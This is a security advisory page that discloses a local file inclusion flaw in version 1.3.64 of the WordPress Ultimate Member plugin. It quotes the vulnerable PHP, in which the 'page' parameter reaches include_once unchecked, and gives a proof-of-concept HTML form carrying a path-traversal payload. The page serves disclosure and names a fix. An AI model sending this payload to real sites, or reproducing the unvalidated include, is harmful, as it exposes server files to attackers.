exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Ultimate Member 1.3.64 Local File Inclusion

WordPress Ultimate Member 1.3.64 Local File Inclusion
Posted Jul 10, 2016
Authored by Burak Kelebek

WordPress Ultimate Member plugin version 1.3.64 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | 317f09b9e2322d31fa052a7f6ae6448cd8a6fa3943cd7d5493b7a4e3aaf79a11

WordPress Ultimate Member 1.3.64 Local File Inclusion

Change Mirror Download
------------------------------------------------------------------------

Ultimate Member Local File Inclusion vulnerability

------------------------------------------------------------------------

Burak Kelebek, July 2016



------------------------------------------------------------------------

Abstract

------------------------------------------------------------------------

It was discovered that Ultimate Member is vulnerable to PHP File

Inclusion. An authenticated attacker can exploit this issue to

compromise WordPress, for example by retrieving sensitive data from

local PHP files.



------------------------------------------------------------------------

Tested versions

------------------------------------------------------------------------

This issue was successfully tested on the Ultimate Member WordPress

plugin version 1.3.64.



------------------------------------------------------------------------

Fix

------------------------------------------------------------------------

There is a fix available in Pre-released version: pre-v1.3.65.10. After

the fix is applied user input is no more used when including local files

in WordPress.



------------------------------------------------------------------------

Details

------------------------------------------------------------------------

The vulnerability occurs due to the use of user-supplied input in the 'page' parameter without proper validation.

The code first checks if 'ultimatemember-' exists in page parameter supplied by user. If it exists it deletes 'ultimatemember-' and assigns user input to the template parameter. Lastly it inserts user input in the PHP function include_once.

ultimate-member/admin/core/um-admin-dashboard.php:

$page = $_REQUEST['page'];
[..]
else if ( strstr( $page, 'ultimatemember-' ) ) {

$template = str_replace('ultimatemember-','',$page);
$file = um_path . 'admin/templates/welcome/'. $template . '.php';

if ( file_exists( $file ) ){
include_once um_path . 'admin/templates/welcome/'. $template . '.php';
}

}



Proof of concept

Proof of Concept below simply opens a file in the temp folder of WordPress.

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=ultimatemember" method="POST">
<input type="hidden" name="page" value="ultimatemember-../../../../../uploads/ultimatemember/temp/dZm2Sr1IbnIy4Ikn3FbWdMlOh2wCzDu3KunD4tIk/stream_photo_697d3db4eba7e7254670210e3c095022_5779a47985512" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close